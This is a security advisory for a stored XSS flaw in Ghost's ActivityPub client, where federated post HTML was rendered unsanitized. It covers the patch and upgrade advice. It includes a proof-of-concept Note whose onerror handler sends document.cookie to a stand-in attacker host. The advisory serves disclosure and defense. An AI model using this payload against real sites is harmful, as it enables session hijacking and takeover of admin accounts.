CVE-2026-53950: @tryghost/activitypub Stored XSS via Federated Post Content
Ghost's ActivityPub feed rendered HTML from remote Fediverse servers without sanitization, letting a malicious server inject and run arbitrary JavaScript in a Ghost admin's browser.
The problem
Ghost's ActivityPub client rendered incoming post content from federated servers directly into the DOM using React's dangerouslySetInnerHTML, with no HTML sanitization applied first.
A maliciously configured ActivityPub server can set the content field of any shared post to arbitrary HTML. When a Ghost admin views that post in their feed, the JavaScript executes in their session, allowing session hijacking or account takeover.
Proof of concept
A working proof-of-concept for CVE-2026-53950 in @tryghost/activitypub, with the exact payload below.
A malicious ActivityPub server returns a Note object whose content field contains injected script HTML:
{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Note",
"id": "https://evil.example/notes/1",
"attributedTo": "https://evil.example/users/attacker",
"content": "<p>Totally normal post</p><img src=x onerror=\"fetch('https://evil.example/steal?c='+document.cookie)\">",
"to": ["https://www.w3.org/ns/activitystreams#Public"]
}The client-side FeedItem component passed object.content directly into dangerouslySetInnerHTML, which bypasses React's built-in XSS escaping and injects raw HTML into the DOM. Because ActivityPub content is attacker-controlled (any federated server can set it), this is a straightforward stored XSS via a trusted-but-external data channel.
The patch added HTML sanitization (stripping script-capable tags and event handler attributes) before the content string reaches dangerouslySetInnerHTML, cutting off the injection point at the only place it could be fixed: client-side, before render.
The fix
Upgrade @tryghost/activitypub to v3.1.0 or later. Ghost fetches this package automatically, so self-hosted installs should update Ghost itself to pick up the patched version. No configuration changes are required.
Reported by Brad Geesaman, Ghost Security.
Related research
- highCVE-2026-88060CVE-2026-88060: @angular/platform-server SSR XSS via Unescaped Template Content Across DocumentFragment Boundaries
- high · 8.1@eigenpal/docx-editor-core: CSS Injection and Print-Time XSS via Unescaped Font Name
- high · 8.2CVE-2026-84370CVE-2026-84370: svgo removeScripts Plugin XSS via Namespace and Control-Character Bypass
- critical · 10CVE-2026-85061CVE-2026-85061: maplibre-gl XSS Sanitizer Bypass via Live NamedNodeMap Iteration